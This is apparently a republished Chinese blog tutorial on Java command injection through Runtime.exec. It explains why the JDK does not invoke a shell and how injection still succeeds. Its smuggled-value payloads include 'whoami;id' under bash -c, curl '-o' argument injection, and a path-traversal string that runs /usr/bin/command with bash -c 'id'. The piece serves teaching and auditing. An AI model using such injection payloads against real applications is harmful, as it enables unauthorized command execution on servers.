【JAVA系列】java命令注入科普

news/2024/10/2 16:15:41
名词科普原理科普注入科普

原创 medi0cr1ty Medi0cr1ty

这里只讨论使用java执行命令的情况(Runtime/ProcessBuilder),结合之前挖过过的一些case或者群里见到过的case来讲。

名词科普

命令解释器shell:是一种软件程序(可视作一门编程语言的代码解释器),它接收用户在命令行界面输入的指令和参数,并将其转换为计算机可理解和执行的操作。如unix系统常见的sh,bash,dash,zsh,windows常见的cmd.exe

命令注入:是指攻击者通过在输入字段中恶意插入系统命令,利用应用程序对用户输入的不当处理,从而让系统执行这些恶意命令,达到获取敏感信息、控制服务器等非法目的。

原理科普

Java的命令执行之所以“特殊”,根本原因jdk中提供的命令执行的接口Runtime或ProcessBuilder默认没有套命令解释器。
所以输入& | ; $()``这类shell的表达式语法并不会被解释并执行,因为java并没有去解释这些表达式。

这个怎么理解呢,就好比下面的python代码你在终端你加了python3这个代码解释器去执行他能执行,你不加,直接丢给shell去执行,他也没法执行。
是一样的道理。

python3 -c "import sys;print(sys.version)"

那为什么像php,python这类语言的命令执行就可以默认拼接呢?
因为他底层默认就套了命令解释器。是不是除了java其他的都套了解释器?
当然也不是,比如golang就没有,所以大胆预测一波,等golang真正大面积走进这些安全专家的视线里,同样的问题还会被重复提及。

回到Java命令注入的科普上,Runtime.exec的入参可以是一个字符串或者字符串数组作。
ProcessBuilder则是数组或可变参数。
Runtime.exec实际上是调的ProcessBuilder,ProcessBuilder只要不套解释器的情况下,命令注入的可能性会非常低,所以这里重点说Runtime.exec。

Runtime.exec的入参有下面这些:

入参为String的时候会使用空格以及\t\n\r\f做切割成数组:

public Process exec(String command,String[] envp,File dir)
throwsIOException{
if(command.length()==0)
thrownewIllegalArgumentException("Empty command");StringTokenizer st =newStringTokenizer(command);
String[] cmdarray =newString[st.countTokens()];
for(int i =0; st.hasMoreTokens(); i++)cmdarray[i]= st.nextToken();
returnexec(cmdarray, envp, dir);
}public StringTokenizer(String str){
this(str," \t\n\r\f",false);}

然后交ProcessBuilder继续执行,最终根据不同环境调不同的原生方法启动,其中cmdarray[0]也就是数组中第一个的作为真正需要执行的程序来执行。

public Process exec(String[] cmdarray,String[] envp,File dir)
throwsIOException{
returnnewProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}#pb.start()    
static Process start(String[] cmdarray,java.util.Map<String,String> environment,
String dir,
ProcessBuilder.Redirect[] redirects,
boolean redirectErrorStream)
throwsIOException
{...return new UNIXProcess
(toCString(cmdarray[0]),argBlock, args.length,envBlock, envc[0],toCString(dir),std_fds,redirectErrorStream);
}finally{...}
}UNIXProcess(finalbyte[] prog,
finalbyte[] argBlock,finalint argc,
finalbyte[] envBlock,finalint envc,
finalbyte[] dir,
finalint[] fds,
finalboolean redirectErrorStream)
throwsIOException{pid = forkAndExec(launchMechanism.ordinal()+1,helperpath,prog,argBlock, argc,envBlock, envc,dir,fds,redirectErrorStream);try{doPrivileged((PrivilegedExceptionAction<Void>)()->{initStreams(fds);
returnnull;
});
}catch(PrivilegedActionException ex){
throw(IOException) ex.getException();
}}

所以如果你传入的是sh -c "whoami;ls"那么java执行的第一个程序实际上sh而不是whoamils

sh执行后再根据自己的逻辑将whoami;ls切割并顺序启动,可以理解为whoamilssh的子进程,sh是java的子进程。

如果传入的是"whoami&&ls",java无法切割也不做解析,那么ls则不会作为第二个程序去执行,而是"whoami&&ls"这整个字符串作为一个程序去执行,环境中找不到这个文件,自然就会无法执行,进而一条都执行不成功。

注入科普

前面基础科普讲完了,那么就是注入技巧的问题了。在无前置过滤的情况下:

套了命令解释器的拼接可执行

String cmd = "whoami;id";
Runtime.getRuntime().exec(String.format("bash -c %s",cmd));

不套的拼接不可执行。

String cmd = "whoami;id";
Runtime.getRuntime().exec(String.format("xxxx %s",cmd));

但可以考虑污染前面的xxx程序的参数,间接实现rce。比如执行程序是curl的时候可以通过-o参数写文件实现间接rce

cmd = "http://www.baidu.com -o /tmp/baidu";
Runtime.getRuntime().exec(String.format("curl %s",cmd));

再比如find的-exec参数,玩法比较多样,也有没得玩的时候。

遇到的大多数情况类似,这种直接在host中拼接执行的,可控的部分不作为sh的参数来输入,而是作为deploy.sh这个程序的参数来输入,这个但凡写过几行python就不用说也能理解。
所以有没有可能rce取决于你的程序本身(deploy.sh),而不是sh

String deployCmd = "sh deploy.sh " + host ;
Runtime.getRuntime().exec(deployCmd);

再讲个特殊情况,某群里看到的case,群友用来面试别人的面试题,猜测他预期的答案就是上面这种情况,让别人回答去审计"login.sh"这个程序。

可如果代码真如图所示的话,真的是这么做吗?能rce吗?需要审计login.sh吗?

我认为不需要,因为login.sh后面没有空格就直接拼接了,拼接完后的文件名复杂化,大概率不存在,或文件内容不可控,审计个der。后面的参数又没办法作为sh的参数进行污染。

怎么rce呢?很简单,想办法控制sh执行的文件指向一个存在“漏洞”或者说命令执行行为的sh文件,再污染他的参数即可。

find / -type f -exec file {} + | grep "shell script"

很容易就看到/usr/bin/command这条命令实际上是一个bash脚本,语句做下简单的闭合即可完成命令注入。

String payload = "/../../../../../../../../../../../../../../../../../../../usr/bin/command bash -c 'id";
String cmd = "sh login.sh'" + payload + "'";
Runtime rt = Runtime.getRuntime();
rt.exec(cmd);

嗯,没错,有限制条件,就是得找个可以创建文件夹的点配合利用,在当前文件夹下创建login.sh'这个目录,否则unix下../是没办法跨域过一个不存在的文件夹的。
写在最后

这个有问题隔三差五就会在各个安全的群里看到有人问,成月经问题了。

它很基础吗? 这个但凡挖过几次实战使用洞的人都肯定会知道。

它不基础吗? 见过一堆搞了好多年了sdl的人讨论的时候将拼接后不能执行归咎于沙箱,归咎于rasp(环境中其实没这两因素); 也见过某些大厂的安全中台给别人出的考试题目里告诉研发没命令解释器执行ping命令也存在命令注入的风险。更别说群里问的新手(这种勉强可以理解)

我的总结是,大部分人没有挖洞不需要实战,唬住研发和leader就行,不需要验证,自然就不会知道。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/55435.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

ubuntu重新分配根目录存储空间-将根目录空间缩小腾出给别的位置

我有个1t的固态,上面装了双系统,分了四分之一给windows,四分之三给ubuntu,现在出了黑神话悟空,我想玩一玩,黑神话悟空需要130g的存储,但是我的windows空间只剩50g,而且我又不想使用机械硬盘,毕竟太慢了。于是,我想把我的ubuntu再分出四分之一给windows,相当于两个系…

Kubernetes利用Volume挂载ConfigMap与Secret

1、概述在Kubernetes集群中,应用的配置管理是一个关键且复杂的任务。随着应用的扩展和微服务架构的普及,传统的配置文件管理方式已经难以满足动态、灵活的配置需求。幸运的是,Kubernetes提供了强大的配置管理能力,其中ConfigMap和Secret结合Volume挂载的方式是实现这一目标…

章10——面向对象编程(高级部分)——类名类方法

类变量/静态(static)变量/静态属性 特点: 由该类的全体对象实例共享,该变量只占同一块内存空间。 其标志是关键字static修饰。 在类加载的时候便生成了。类加载的时机如下图:public static int count = 0; 类变量可以由类名来访问。 System.out.println("共有" + …

Redis组件介绍(四)

今天继续学习后面的知识写在前面 今天继续学习后面的知识。 Redis 操作命令 操作 List 相关 APILPUSH说明: 将某个值加入到一个 key 列表的头部。当列表不存在时会创建。 语法: LPUSH key value [value ...] 返回值: 成功返回列表的元素个数,失败返回 0。LPUSHX说明: 与 LPUSH…

随笔9/1(一)

软件工程 计科22级12班作业要求 第一次作业要求作业目标 对学习课程进行了解并探索相应内容介绍自己 --> 我叫肖商,第一次与电脑结缘是20年疫情期间,学校教学转为网络教学时,第一次接触编程,虽然什么都不懂,但当时感觉编程很奇妙。 后来有了学习计算机的想法,大学志愿…

UNIAPP拨打电话

权限 <uses-permission android:name="android.permission.CALL_PHONE"/><uses-permission android:name="android.permission.READ_PHONE_STATE"/> 然后重新打基座包 代码uni.makePhoneCall({ phoneNumber: that.mobile });

7 个热门的 AI 视频生成工具介绍

AI 视频生成领域最近的发展简直是突飞猛进,让人目不暇接啊!就在前不久,OpenAI 推出的 Sora 震惊了整个科技圈。但是,惊喜不止于此,国产的 AI 视频工具“可灵”据说已经在某些方面超越了 Sora,这真是让人兴奋不已! AI 视频生成技术的发展速度之快,应用范围之广,真的让…

MVCC详解,深入浅出简单易懂

转载自 https://blog.csdn.net/lans_g/article/details/124232192 配合 https://www.bilibili.com/video/BV1Hr421p7EK 视频观看更佳。一、什么是MVCC? mvcc,也就是多版本并发控制,是为了在读取数据时不加锁来提高读取效率和并发性的一种手段。 数据库并发有以下几种场景…